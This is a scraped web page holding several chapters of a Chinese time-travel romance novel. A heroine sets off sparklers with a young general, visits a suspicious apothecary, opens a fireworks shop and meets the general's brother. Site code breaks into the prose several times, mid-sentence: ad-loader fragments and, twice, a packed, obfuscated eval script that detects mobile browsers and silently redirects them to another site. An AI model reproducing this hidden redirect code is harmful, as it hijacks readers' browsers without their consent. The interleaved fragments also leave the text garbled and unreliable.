这群人聊嗨了是吧? 见她无语住,最先开头的湛亦搭住她的肩膀,朗笑:“走吧走吧,饿了。” 仲长湫拉着哥哥冲在最前面,“吃饭去咯!” 后面几人懒懒散散跟着。 夕阳西下,余晖洒在他们身上,林清月转头看着天空,又顺着看见水面上他们打打闹闹的倒影。 虽然吵闹,但心中莫名的平静。 似乎从穿越过来到现在,无论是谁,心里一直都很焦躁,一个新的环境,往后的一切都是未知,他们都是不安的。 而或许是听到了系统的保证,在夕阳下,大家都放开了心交谈,谈过往或是其他。 至少此时此刻,他们同心相连。 …… 晚上大家一起吃饭,热闹归热闹,不过林清月当然是没忘记正事,既然都已经晚上了,她袋子里的烟花,何不放完再走? 她还带了好多仙女棒呢。 “你要带我去哪?” 而她—— 就选中了没吃几口就借口吃饱躲在外面的顾寻风。 “……还有你手中的……”是什么东西? 林清月晃了晃手中的一捆仙女棒:“还能做什么?自然是去放烟花啦。” “放烟花……”顾寻风低低呢喃了一句,眼神放在她手中的物什上。 “你放心,还有些没放完的烟花,我已经跟我同伴们说过,会带着其他人放,大家都会玩到的。” 林清月以为顾寻风是在意他们独自跑出来,影响不好。 顾寻风却是没说这个,只是歪歪头看着,好奇说:“这烟花,看着跟白天放的那个不一样。” 他们走到了一处没有草地的小院子。 林清月轻笑,没有回答什么,站定之后抽了一根仙女棒出来递到他手上,又翻出火柴盒。 “嚓——” 火光燃起,照亮二人脸庞。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 林清月将火苗凑过去,点燃了顾寻风手中那个仙女棒,刹那间,金灿灿的烟火炸起。 没有白日的那么壮阔。 顾寻风看着,却笑了笑。 林姑娘转头又拿起几根,塞到他另一只手上,都点燃了,金灿的火光照在他们脸上,把这漆黑的小院也都照亮了。 顾寻风见她自己也拿了,在面前晃来晃去,粲然笑着。 “我们那边过年的时候,就要放烟花放鞭炮——你听说过年兽的传说吗?如果不放的话,年兽是会来抓人的!” 顾寻风摇头:“苏周城有这样的传统?” 林清月笑了,没回话,只是看着他的眼睛,两人眼中都是璀璨的烟花绽放。 “咻——” “砰!”“砰!”—— “看!他们又放烟花了!” 林清月手上还拿着仙女棒,指向天空。本漆黑的夜空被璀璨绽放的烟花铺满,将整个临沙关都照亮了。 林清月向前走几步,又回头,见顾寻风仍愣在原地,便拉上他手腕过来,“你看呐——” “别看我,看烟花。” “……” 顾寻风这才抬眸看去,再次笑了一声,道:“看了。” 林清月问:“好看吗?” 顾寻风道:“好看。” 耳边响起一声嗤笑,似乎是在笑他。 “人机。” 顾寻风歪歪头看着林姑娘,有些不解:“林姑娘,这是什么意思?” 林清月转身盯着他,将手中的烟花拿起,放在他眼前,语气似乎不是特别开心的样子。 “说你呢,说你是人机。” 顾寻风仍是不懂,他现在不是很想看那烟花,偏头去看林清月。少年眼中的烟火灿烂,望着他,眸色潋滟,仿佛荡着涟漪。 声如流水淌入耳中,清润天真:“所以林姑娘是在夸我,还是在骂我?” 林清月看了他几秒,忽然笑出声:“噗。” 面前的少年就笑了笑,又问:“林姑娘……原是在笑我?” “不是、不是。”林清月放下了烟花,顾寻风便将脑袋偏回来,伴着天空中烟花炸开的声音,她说:“我是觉得你有趣。” 顾寻风微微垂眸,眼中闪过一丝落寞:“他们都说我无趣。” “怎么会。” 林清月思索片刻,认认真真说:“反正我觉得你有趣,何必在意他们的看法?” 顾寻风嗫嚅:“我……没在意。” 林清月不信:“哦。” “……” “……就一点点。” “嗯,亿点点。” 说着,林清月忍不住又笑出来,眼眸弯了弯,“就亿点点——我信,我信。” 顾寻风觉得林姑娘在打趣他,但张了张嘴,终是不知道怎么说出口。 算了,说多错多。 他抬头看向天上还在绽放的烟花,顺着他的眼神,林清月也看过去,忽的,兴致一起,她促狭道:“顾大将军,我要告诉你一个秘密。” 顾寻风微怔,随后赶忙看看周围,确认没人,正色点头:“姑娘说。” 看见他如此正经,林清月也没有觉得不好意思,她凑近,踮脚,嘴唇凑到他耳边去。 “其实,我是从另一个世界来的——” 温热的气息在耳廓骚痒,顾寻风差点忘了思考。 “将军,信吗?” 19. 假扮夫妻 …… 除了烟花,再无其他声音。 林清月问完便退了回去。望着对方,等着回应。 她有些好奇,顾寻风会有什么反应。 然而等到烟花都炸完了。 对方还是沉默。 林清月皱着眉一拍他手臂,“做什么愣着,不理人?” “没。”顾寻风顿了顿,“现在理了。” “……”这人真绝了。 她不理解此人脑回路。 因为下一秒,他又说:“听县令说你是在寻一个药师医病?若有需要,我可以为你带路。” 林清月不想理他,见仙女棒燃尽了,夺过顾寻风手中的垃圾,将垃圾全部一装,转身就走。 “忙你的打仗去吧要你管。” 这多好的气氛,毁了,真毁了,顾寻风你脑子里究竟在想什么? —— 顾寻风脑子里在想:不说话说我不理人,那我难道要说你脑子有病? ……不能这么说一个姑娘家。 这人身子脆弱,心灵肯定也脆弱,被讹上就完了。 谁知道她突然胡言乱语,安的是什么心? 还秘密,分明是在逗弄他…… 顾寻风一路跟着往回走,一路在心里诽谤这位林姑娘的不道德。 经过这一遭。 林清月暗自发誓。 再也不跟顾寻风讲话了。 再讲话她是狗! “……” “……我真的不看病。” 气!死!了! 林清月气死了。 县令府里。 吃完饭的众人围在前院,主角是一个红衣少年和一个叉着腰指责的少女。 “你知不知道现在几时了?天黑了啊,你还让我去看病?我看你脑子有病吧!” “不是的林姑娘。今日你路上晕倒,难免不让人担心,这是人之常情……” “人之屁的常情,我真是受不了你了!!” 县令夹在中间,“两位……将军小姐你们不要吵架啊……” 谁都没理县令。 顾寻风看着林清月,还继续解释,想让对方明白自己。 “况且那位药师我也是知道的,他的住所不远,我会保护你的,不会有危险。” 林清月想大叫。 她捏紧了拳头,气愤着急又无奈,脚狠狠在地上一踩,“根本不是这些问题!” 顾寻风不依不饶:“那你说是什么问题?” 林清月:“你的问题!你这个讨厌的人!” “怎么就讨厌的人了?我的考虑不对吗?”顾寻风十分疑惑,皱皱眉,“再说了,早点看病也是好的。” “那个将军啊,要不……今晚就在我府中歇下?” 县令好不容易才插上嘴,中间不敢停顿,“咱们明日再去,正好我可以多借你们些侍卫,也不用担心危险……” 林清月声音拔高:“你也不懂!你们都不懂!我说了,我不去,不去!” 她气得直接指向顾寻风。 “你送我回军营,就现在!” 顾寻风:“不。”说的没有丝毫犹豫。 “送我回去啊!!” 顾寻风就一个字一个字掷出去:“我们去找药师。” “……” 林清月转身就往门外走。 她晾顾寻风也不敢动她。 果然,顾寻风犹豫了一下,只是追上去,没有拉她。 此时秦安肆就靠在门框上,见他们终于不吵,询问:“所以现在?” “回军营!” “去找药师。” 二人异口同声。 秦安肆:“……” 顿了顿,秦安肆招呼其他人:“我们先在府里睡一晚吧?” 林清月刚要走到队里去跟他们一起,却在下一秒被顾寻风拉住手腕,“跟我去看病。” “我不……” “去。” “……” 这人脑子有坑。 林清月懒得理,要扒开他拉着的手。 但顾寻风只是捏得越来越紧,她喊了疼还是不放开。 “你到底要干嘛?” “林姑娘,我还想要你手中的东西。”顾寻风摆出道理,“我不会害你的,我只是担心你的身体。” “我没病!”这时候,林清月管不得以后该用什么理由找楚才的,只是被气得头昏脑涨,不想答应。 许是看着挣脱不开,她也没再挣脱,说了没病对方也不理,她只能接着问:“那怎么说,我们难道要在这黑夜,走着去?” 顾寻风立马道:“我们同乘,我的马就在前面。” ……这很难不让人怀疑,将军你是有备而来。 林清月看了他一眼,见他神色极其正经,思忖片刻。再这样拗下去也没什么结果,不如就看看他究竟是有什么打算。 况且楚才那人确实奇怪。 既然这位大佬愿意帮忙,那便顺其道而行之,看看究竟是怎么个事。 而没听到林清月的答复,顾寻风以为林清月是驯马驯怕了,补了句:“我的马很乖。” 林清月笑了,空着的一只手叉腰:“本小姐会怕一匹马……你别把我骑吐了就成。” 听得此话,顾寻风脚步微微一顿,他回眸,看向被自己拉上来的人,眸中有些笑意,炫耀一般说:“林姑娘,我马术第一。” “嗯?”林清月歪歪脑袋。 “整个桑朝的第一。” 林清月下意识说:“真的假的?” 而顾寻风认真回答:“真的。六艺中,礼射御,皆为第一。” 林清月一下子就抛下了刚刚的不愉快,追了两步到顾寻风身侧,对方也早就把她的手放开来,不再禁锢。 “你们还比这个东西?” “有大比,男子六艺,女子八雅,那是各地公子小姐能出人头地的绝佳时机,哪怕改朝换代,也从未改制过。” “真是稀奇……” 古代还有这种东西?这到底是架空的哪朝哪代? 林清月在心里默默吐槽了一下,对于这件事也没多计较,跟着他一路走到了马旁。 顾寻风先上马,往前挪了挪,还未开口,林清月忽然道:“后面去。” “啊?” “我要坐前面。” 顾寻风犹豫:“可是……”侠侣这样多些的吧? 难不成林姑娘她真的…… “我要认路,以后就可以自己去找他了……你快点,别墨迹。” “……好。”又想多了。 顾寻风不知道自己平常一分都转不动的脑子,怎么这会儿倒是活跃得很,他暗自懊恼着后移,拉了林姑娘上马,随后朝楚才的住处赶去。 林姑娘的发丝很香,他没闻过的味道。哦,林姑娘昨夜好像洗了头,只是没衣裳换,所以他还没看到过林姑娘穿其他衣裳的样子。 是没钱吗? 那等到赚了钱,得到什么时候…… …… 不对。 说到钱,他好像忘了什么事? 是什么事? 近来噩梦做得多,记忆力下降不记得一些事也正常,习惯就好…… 顾寻风一路心绪不宁。 其实他不认得楚才,他只是梦见了此人。 说起来,他找县令打听过,楚才也是苏周城一个大户人家之后,不知道林姑娘想找他看病,是不是有这个原因呢? “到了?” 林清月记了一路,最终,他们停在了茶楼旁一个小屋子那,屋子相较于其他房屋,矮小,又破烂,门口还放着药所的招牌。 “这就是楚才的住处吗?” 屋子里还亮着灯,隐隐约约都能从窗户看见里头正认真读书的人影。 林清月下马,顾寻风去栓马的时间,她已经上前去敲门,还不忘咳嗽两声:“楚药师,您在吗?” 楚才很快开了门。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> “姑娘可是身体……”楚才推开门,看见面前人的面容,语气一顿,“……有何不舒服?” 林清月也望着他一顿,看向身后陪自己来的顾寻风,又看向楚才,作惊讶状:“是你?” 楚才一身白袍,生得温润如玉的模样言语之间也是端正守礼,看着便是有正规老师教导的公子。 见了二人,他没多疑心,问道:“姑娘是随夫君一起来看病的?” 这回林清月是真被呛住了,咳了好几声。 见状,楚才赶忙将门全部打开,请了二人进屋,“夜晚风寒露重,姑娘进来吧,会暖和些。” 顾寻风跟在后头,不动声色观察了一圈这个屋子,屋子很简陋,一床一柜,一桌一椅,除了医术药材,便都是些必要的生活用品,看得出来此人十分拮据。 奇怪,就算是游学,可家中毕竟是大户人家,不会接济吗?跟他一样与家里决裂了?没听说啊…… 顾寻风揣着疑问,没有立马问出口,装模作样扶着林清月坐下,才出声询问:“药师一直都住在这里吗?” 楚才微微点头,开始给林清月诊脉,另一只手还时不时在纸上写些什么。 “……姑娘体弱,短时间治不好的,想必从前姑娘也找人看过的吧?楚某医术不精,也无法瞧出病根,只能给姑娘开个方子,虽治标不治本,却也可以调理一二。” 林清月一脸惆怅开口:“是啊,从前父母带我看过许多医师。” 楚才边写方子边笑着安慰:“姑娘也不必忧心,不是什么大病,只是需要多加调理。只要姑娘平日里注意些,别再生气动怒了。” “……” 她脾气不好,她知道。 但有些时候她真忍不了!! 比如这个顾寻风。 算了,不提也罢。 “多谢楚药师了……”林清月接过方子。 这样就好,往后还能来这里抓药,一回生二回熟,来多了不就可以结交了嘛。 林清月并不着急。 楚才去抓药了,林清月拿着方子看了看,忽的,听见顾寻风出声,是在问她:“你在苏周城时,没有调理过吗?” 另一边,楚才抓药的手明显顿了顿,他动作缓了缓,侧耳听着那边二人的谈话。 “嗯?我……啊,你也不是不知道我的性子,我不喜欢喝药,喝一顿停一顿的,怕是没什么效果。” “那往后可不能这样的,以后我督促你。” “知道了,今日要不是你我哪里会来,苏周城有名的医师那么多,我其实都不抱希望了的。” 二人像寻常夫妻一般聊天。 说到这,顾寻风刻意一顿,叹口气,关心询问:“让你嫁到这来也是辛苦你了。我曾听闻苏周城有一大家,姓楚,专卖药材行商,家中一儿子好似便精通药理,只是可惜早早就去胡京学习……你之前,可曾去看过?” 林清月一愣,惊讶地望向顾寻风,只见顾寻风微微点头。 “……未曾。那人叫什么名字?改日,我们去胡京也看看?” “抱歉夫人,这个我也不知。” 两人都颇为遗憾的样子。 彼时,楚才眼眸垂了垂,一副药抓了许久才抓完。 将药品打包放到二人面前,依旧是温煦的笑容:“姑娘拿好,若吃完了,可以再来找我抓一副。” 一顿,他看向正在掏银钱的姑娘,又说:“既是同乡,便不收姑娘银钱了。” 林清月差点兴奋地跳起来。 但她忍住了,只是笑着:“真的?” 她看了眼顾寻风,“楚药师竟也是苏周城来的。” 楚才没有否认,继续说:“若姑娘往后还有什么困难,尽管来找楚某。” 林清月望着他,点点头。 这楚才,怎的此时又不奇怪了?这多正常一个人啊,还如此心善,就因为同乡便不收银钱…… 不对,也不对。 就是这样……才奇怪啊。 20. 姑娘香香 回去的路上两人都没说话。 林清月一直在思考,等到了府门口,下了马,才疑问:“所以你硬要我来看病,是觉得他有问题?” “今天有人跟踪我的事,与他有关吗?” 顾寻风没有否认,问她:“林姑娘发现了什么?” 两人往府里走去。 林清月脚步缓慢,思索着开口:“楚才这人虽然看上去温和无害,可仅仅是知道我与他一样家在苏周城,便对我表现得如此友好,我觉得实在奇怪,再者……” 她看向顾寻风。 “你偏要我此时去看病,这事着实是太离谱了,就算你傻,也不能傻到这种地步吧?大晚上看病这种事是人能想出来的事吗?” “……” 顾寻风怀疑她借机会在骂自己,但没证据。 饶是脑子再转不动,他也能想到,若真说他只是想快点去楚才那看看情况而已,林姑娘指不定要怎么骂他。 所以他说:“嗯,是,我早就计划好了,目的就是为了看看他那究竟是怎么回事,若真与那个跟踪你的人有关,我们这会回去军营也很危险,我不能冒险。” 说得有理有据。 林清月信了。 她想,顾寻风知道的似乎很多,她必须多套套话,于是一路跟着到了房门都不走,美其名曰:害怕。 “没有人跟踪。” “我就在你这待一晚上,我打地铺!” “……不能这样,林姑娘。” “我知道……”林清月仗着身材瘦小,不顾他挡着,挤进房门,“男未婚女未嫁,这样影响不好。” 顾寻风刚要说知道还这样做,下一秒就听见林姑娘说:“但在我们那个世界,可没有这种大道理。” 顾寻风:“……以后我会监督你喝药的。” 然后,就把给他们带路来客房的小厮关在了门外,小厮啧嘴两声,离去禀报了,过了不久,有丫鬟送来一床被褥。 见顾寻风默认,林清月自是毫无古人那些礼义廉耻,吭哧吭哧的就开始铺被子。 哪想都铺完了,顾寻风来一句:“我睡地上吧。” 林清月当即怒了:“你要抢我的劳动成果?你这是不劳而获知不知道!” “……?”谁能告诉他,他做错了什么,为什么林姑娘又生气了? 缓了缓,顾寻风讷讷开口:“药师说让你别动怒,我不睡你的地就好了,你别生气。” 林清月懒得与他计较,开开心心睡上了自己的劳动成果。 顾寻风熄了灯,睡在床上。 他没有问对方为什么不脱衣裳,因为他也不敢。 孤男寡女,共处一室。 他是跟家里人决裂,又不是被诛九族,实际上他出了家门后的动向,家里人都了如指掌的。 要真脱了衣裳,他跳进黄河都说不清,家里人那性子,定是要直接让他成婚了。 顾寻风想,不可能,他这辈子都不可能,与被家里人看上的人成婚。 这辈子都不可能! 这么想着,顾寻风睡着了。 林清月倒是什么都没想,她本就不在意这些,也知道自己队里人的脾性,就算知道也不会脑补什么有的没的,毕竟让她跟将军打好关系这件事都是他们提出来的呢。 要跟顾寻风睡一屋,一是因为套近乎,二是她也的确有些害怕。 先是在军营差点被烧死,后又是被人跟踪。 怎么,她的命这么值钱? 总之,她没有任何歪心思,只是为了抱大腿。 于是乎这一觉,林清月睡得格外香甜。 以至于第二日醒来的时候,已经是日上三竿了,最后她是被顾寻风练剑的声音吵醒的。 县令给顾寻风安排的院子是独一间,还有个单独的小院子,一看就是上乘。 不愧是有关系的人。 而此时此刻,顾寻风就在那小院子里练剑。 林清月伸个懒腰坐在一旁的石凳上,看入了神,少年的身姿挺拔,一招一式铿锵有力,又或许是红色太惹眼,林清月都挪不开眼。 直到炽热的阳光照到了她脑袋上,方才回神过来,朝顾寻风喊:“我们去找县令确认一下开店流程,然后赶快回营吧!” 她还记着要“回礼”的事呢。 也不知道敌军与军营之间事态怎么样了。 顾寻风手腕一转把剑收回去,点点头:“那走吧。” 这事儿处理起来很快,毕竟有顾寻风在。 他们自然选了最繁华的街开店,而他们只需要偶尔来看看店面装修就行了。 至少,在过年前,这店是可以装修完成的。 这是县令答应的。 而现在距离过年,大概还有三个月。 “三个月,你说这仗打得起来吗?”回去路上,林清月与顾寻风并排骑着马。 听了这个问题,顾寻风觉得有些好笑,反问:“你见过这么点时间就能打起来的仗?” “哦。”林清月嘟哝,“我怎么知道嘛……” 顾寻风看了她几眼,似乎想说什么。林清月看出来了,故意不点明,只是有一搭没一搭与他聊着天,就是不说出来他似乎有事要说。 直到他们都到了军营门口,她下了马,身后,顾寻风忽然喊她:“林姑娘。” 林清月回头:“怎么?” 顾寻风手中是一个布包,林清月一直以为这是他的包袱,但现在,顾寻风却将这“包袱”递给了她。 还没问出这是什么,顾寻风率先道:“今晨与县令出门逛了逛,想着姑娘身上衣裳不多,路上又恰巧看见,便买下了。” 末了,还要补充。 “送给姑娘。” 一旁,湛亦过来揽住林清月的肩膀,羡慕道:“真好啊,我们都没有。” 小队里的人开玩笑似的也附和。 顾寻风却是正经,思索道:“各位的生活用品,我会派人慢慢添置,这些事倒是我疏忽了。” 一番好意,大家自然都没有拒绝。 瞧着这群人离去的背影,顾寻风眉头紧锁,他在想—— 究竟是忘记了什么重要的事? 好像与钱有关…… 不记得了。 完全不记得了。 可他觉得很重要,一日没想起来,便是心绪不宁的。 于是这夜想着这件事睡着。 他又做了噩梦。 他梦见苏周城,看见楚才奔逃,回到家中,但那里血色漫天,楚才谁也救不了,只能抱着亲人的尸体嚎啕大哭。 接着,他拿起了剑。 抹脖的那一瞬间,顾寻风惊醒。 他仿佛看到帐篷内都是血,但只一晃眼,一切又恢复如常。 顾寻风咬牙,躺下,试图继续睡。 可他怎么也睡不了了。 其实他见过那样的场面,陛下篡位之时,就是他陪着陛下弑君,看着陛下杀了当时的皇后。 他本该是不怕的。 可现在,他的心却不听使唤。 他坐在床沿,望着窗外,月亮还高悬。 “将军——” 忽的,一声呼唤从门口传来。 顾寻风顿了顿。 他听出来了,是林姑娘。 走到门前,他掀开帐帘,见到林姑娘身上衣裳换新,笑容满面,“我见你这儿还有些光亮,就知道你还没睡着!” 林姑娘身上……很香。 说不清是什么味道,但他觉得很好闻,此时,林姑娘身上穿着他给的那件衣裳,是一件青蓝色的衣裳,腰间缠绕着红色腰带,裙摆并不长,林姑娘展示着转了一圈,像是要飞走的蝴蝶。 “……你看啊,好不好看……我觉得可好看了,你眼光真好……” 林姑娘兴奋的声音忽远忽近,他望着她,脑中却还是那个场面,久久无法消散。 他循着香味,向前走。 他怕蝴蝶飞走了,于是,把她抓住。 “哎……?”林清月顿住。 下一秒,他被拉进一个怀抱,撞上了对方的胸膛,只隔着一层薄薄的里衣。 林清月瞪大了双眼,抬头去看他,但看不清他的神情。 她这么好看吗?? 那也不能这样吧!! 林清月只反应了一两秒,立马挣扎着要推开他,但力量悬殊,她完全推不开。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13952428|146144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她能感觉到对方没有碰她,只是抓着衣料,可这样的动作也太暧昧了,被巡逻的士兵撞到又要误会。 “顾寻风。”她小声喊他的名字,忍住自己的脾气,“有话好好说,别动手行不行?” 顾寻风没说话。 林清月便一遍又一遍喊着他。 终于,他沙哑着声音开口:“我……” “……” 没听错的话,他好像。 是哭了。 只说了那一个字,他又没说话了。 林清月眼中有一丝促狭,双手顺着脖颈攀上去,摸到他双肩,然后推开,他的手臂没再紧箍,松了些许,二人终于分开。 林清月不可思议看着他水盈盈的眼眸,哇了一声。 “你不会是被噩梦吓哭了吧?” 顾寻风骤然松开手,后退好几步,退到了账内去,他往侧边伸手,想关上帐帘。 林清月却先一步抓住他手腕,一笑:“要不要我陪你?” 但她不是想要答案。 不等顾寻风回答什么,她直接钻进了帐中,那一瞬间飘来的香气,让顾寻风都忘了阻止。 反应过来时,林姑娘已经进了帐中。 “……林姑娘……” “我叫什么名字?”林清月忽而问。 顾寻风垂下双眸,只是再次喊:“林姑娘。” 林清月摇着头叹气,这下是确定了他做噩梦,走到他面前,拍拍他的肩,“做噩梦了就跟我说呀,我答应过你做噩梦的话会陪你,也不会拒绝你的。” “……”虽然很不想承认,但顾寻风不能不承认,看到林姑娘,噩梦带来的影响就会少许多。 比如现在。 若不是林姑娘硬要给他讲睡前故事,看着他睡着才走,他觉得他一个人,也是能睡着的。 因为在看到她的那一刻,他其实就好了很多。 …… 林清月秉承着“同伴之间互帮互助”的原则,给顾寻风助眠成功后就轻手轻脚熄灭灯盏。 哄小孩真累。 躺到床上,林清月不禁感叹,她侧了个身,望见被自己规规整整挂起来的衣裳,才终于美美进入梦乡。 …… 炸药包的改装还在进程当中,但由于还要准备烟花。 到了一个月,秦安肆说:“恐怕还要一个月。” 这样的速度下去,人家仗都打赢了她仇还报不成! 现如今她日日缠着人家将军打探,都让那些将领十分不满了。 可又没有办法。 本来这儿就物资匮乏,他们只能靠着那百宝袋,百宝袋失灵的时候只能干等。 虽然他们每天都忙个不停,但直到又过了半个月,店都开业了,这炸药包改造还看不到头。 店铺开业那天是非常热闹的,只因那日,几乎整个临沙关的人都看见了在空中绽放的烟花。 县令也大力支持。 所以第一天,大家就忙得找不着头了。 “我靠,我的仙女棒呢?!有小偷……在那!看老娘不打死你!” 林清月:“冷静冷静,东西拿回来就好。” “这个一捆……那个一袋……哎我给你们拿,不要挤啦,放心我都记着的,你们拿完了直接去找前台付钱就好,不会出错的。” “为什么又要补货!!” “是啊,为什么?我和哥哥要累死了,从早晨到现在都没停过,还要帮忙维持秩序!” 秦安肆:“闭嘴,干事。” “这位大爷,一捆烟花20银钱,这袋子里装了一共五捆,就是100银钱,不多不少……” 大爷快速从里头拿出一捆藏在身后:“你自己再数数是不是就四捆!我们来捧场,你们竟然还讹我们老爷子的钱!” “……”虽然平日里跟湛亦不对付,但此时此刻,他很想喊湛亦来揍人。 林清月摆平了湛亦,又来前台处理事情。 她都来不及想累,只怕一个不留神,店里就出了差错。 她正与大爷讲道理。 快忍不住发脾气了。 忽的,门口一阵喧闹,似乎是一个不得了的人物来了。 21. 不速之客 “咦?那人……衣裳好漂亮啊。” 林清月听到有人感叹,于是停止争吵,朝门口望去。 门口被一行护卫清出了一条道,来人身着一身紫衣,其上金纹闪闪,头顶金冠,发丝飘扬,手中一把折扇摇晃,面容俊美,多是阴柔之色。 林清月得出结论。 这是个贵公子。 有钱人。 她把大爷交还给康日,扒开人群跑上前去。 “让一让我是老板!” 好不容易到了那人跟前。 那人先开口,问:“你就是这里的老板,林清月?” 林清月连连点头:“是的是的!这位大人可是来买烟花的?” 那位大人一挑眉毛,点点头。 于是林清月赶忙带着他转了一圈,一路介绍,将这些烟花说的天花乱坠。 但对方只是应着—— “嗯~” “挺好。” “不错呢。” “行哦。” 听着就没有购买欲望。 敷衍得林清月都没有介绍欲望了。 实在无话可说了,林清月看着面前这个俊美贵公子,深呼吸,微笑问道:“大人来此,究竟所为何事?” 那位大人折扇一收,朝她笑,眼尾上扬,格外妖艳。 他说:“我叫,顾紫烟。” “哦哦,顾紫……”林清月本也想敷衍过去,却突然顿住,转念一想,似乎想出了什么不得了的事情。 “……顾?” “嗯哼。” “……” 身后,她听见县令呼喊的声音由远及近——“御史大人!” 县令跑到那位大人旁边,无非是些恭维的话,而此时,林清月人已经僵住了。 恭维完了,县令终于想起跟她介绍此人:“林姑娘,这位大人是从胡京来的,顾家三公子,也是咱们将军的兄长。怪我,现在才听到消息,都没有通知你……” 林清月都没有说“无事”的力气了。 该说不说,她那些行为在顾寻风面前还好,可若真让她面对对方家里人,她是绝对不行的呀,她又不是真喜欢他…… 这顾紫烟。 一看就是直奔这里而来—— 来找她的。 果不其然,下一秒,顾紫烟便喊了她:“林、清、月——林姑娘,是吗?” 林清月头一次感受到大脑宕机的感受,声音机械:“是的,大人。” 顾紫烟一双凤眸笑眯眯看着她,音色流转:“我是来找你的。不知,我四弟在这儿过得可好?听说你们……” 林清月赶紧道:“一切都是谣言将军他在这过得很好最近一直在忙着打仗我们就是偶尔帮帮忙。” 她现在只想赶紧撇清关系。 顾紫烟听了,只是意味深长的一声:“哦——” 林清月:“……”他看起来并不信。 然后顾紫烟仍是笑,歪了歪脑袋,望着这个矮矮的小姑娘,说:“可否带我去军营看看四弟?” 林清月当然同意,赶紧把这尊大佛从她店里送走吧! 但刚准备让湛亦去护送,顾紫烟却捻住了她的衣角,道:“就你,陪我去。” 随之一笑:“我有事同你们俩说呢。” “……” 林清月试图讲道理:“我是这儿的老板,这没我不行啊大人。” 顾紫烟只笑着看了眼县令。 县令立马意会:“林姑娘放心,我派人帮您!” 林清月服了。 她补药见家长啊。 她是野花! 可如今人家家长都找上门来了……顾寻风!说好的都已经决裂了呢! 林清月在心里哭诉着,最后还是亲自把顾紫烟送到了军营,到军营的时候,军营的士兵都大跌眼镜。 要知道,这破地方,他们自从来了,就没见过一个大官。 后来得知,这人是将军的家里人。 那没事了。 原来他们还是没人管的。 林清月把顾紫烟送到顾寻风门口,清清嗓子喊:“将军——” 顾寻风:“直接进。” …… 这不是进不进的问题啊。 林清月厚颜无耻:“将军你来开一下门吧。” 里头的人没有出声,过了片刻,有窸窸窣窣的声音传来,然后是越来越近的脚步声。 接着,眼前帐帘被缓缓掀开。 顾寻风的脸出现的那一刹那,林清月感觉到身后的人逐渐靠近,而就在那一刹那,顾紫烟的声音出现在他耳旁:“登登!好久不见啊小风~” 面如死灰的林清月:“……” 顾寻风觉得自己也有病,大白天怎么做噩梦。 他面无表情。 作势要关上帐帘。 林清月捏住他手腕,使出毕生的力气阻止,咬牙切齿:“有福同享,有难同当啊将军。” “……” 他们暗自较劲,顾紫烟在一旁看了片刻戏,忽而轻笑,一手抓住林清月手腕,一手拉住弟弟的手,把他们二人都拉近了帐篷。 “这么久不见了,来来来,我们一起叙叙家常……你这段时间过得还好吗?” 进了帐篷没走进去,两人同时挣脱开他的手。 顾寻风冷眼看着对方:“说,谁派你来的。” 顾紫烟可怜巴巴望着他:“怎么这么语气?三哥很伤心的。” 顾寻风不理,兀自分析:“能让你这个懒人不远万里来这里……是陛下让你来的?还是家中出事你不得不来?” 此时,林清月正想偷偷溜出去。 顾寻风忽然看向她,幽幽道:“还是说,是听了什么风言风语,来打探虚实?” 林清月被他眼神一盯,迈出去的脚怂怂的撤回来了,接话:“就是就是,不安好心,谁知道呢。” 顾寻风这才把犀利的目光从她身上挪开。 彼时,顾紫烟已经坐到了刚刚顾寻风坐的那个位置上,倚靠在椅子上,漫不经心翻看着面前的竹简。 “弟弟越来越厉害了,都是捷报呢。” “究竟有什么事?”顾寻风的声音愈发冰冷。 林清月则在旁边降低存在感,嗑瓜子看戏。 只见顾紫烟轻轻勾唇,没有回答这个问题,反而道:“既然如此,咱们晚上办个宴把,叫上军营的大家一起,喝酒玩乐一番——” “不。” “四弟~”顾紫烟略微蹙眉,尾音上挑,听着好生勾人的音调,“求求你啦。” 顾寻风:“……”他想逃。 他深吸口气,转头看向林清月,有些抱歉:“吓到你了吧,没事,他就爱作怪,其实平常他还是很正常的。” 林清月明了般点头,继续吃瓜。 顾寻风也没再跟她多解释什么,冷眸看向面前作妖的三哥,“你也看到了,近来这边战况连连,并不安全,你也是个朝中大臣,此时前来本就不妥,还是早些讲完事情回胡京才好。” “不嘛。”顾紫烟身子往前够了够,胳膊肘放在桌上,撑住双脸,“晚上有氛围感,才好说正事。” “你现在就说。” “好决定了,就晚上。”顾紫烟不顾他的脸色,抬手招呼来自己的手下,让他们去操办晚上的宴。 顾寻风无力的发声:“不可以,顾紫烟。” “不用管他。”顾紫烟挥手让下人办事,赖在座位上也不走。 林清月第一次看到顾寻风如此吃瘪,在一边偷笑,见着顾紫烟在那阖眸小憩,凑到迫不得已站着看竹简的顾寻风旁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13964013|146144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边小声逼逼:“你们相处模式一直都这样。” 顾寻风想了想:“也不是,还没改朝换代之前还家庭和睦。” 林清月好奇:“你究竟做了啥搞决裂的?” 听此,顾寻风手一顿,他忘了眼似乎没有发觉的顾紫烟,拿起一支笔,在林清月面前写下—— 弑君。 “……”我靠。 我靠我靠我靠。 林清月眼睛都瞪大了,人还没反应过来,就看见那两字被他淡定抹掉。 她突然觉得身边的人变成了恶魔。 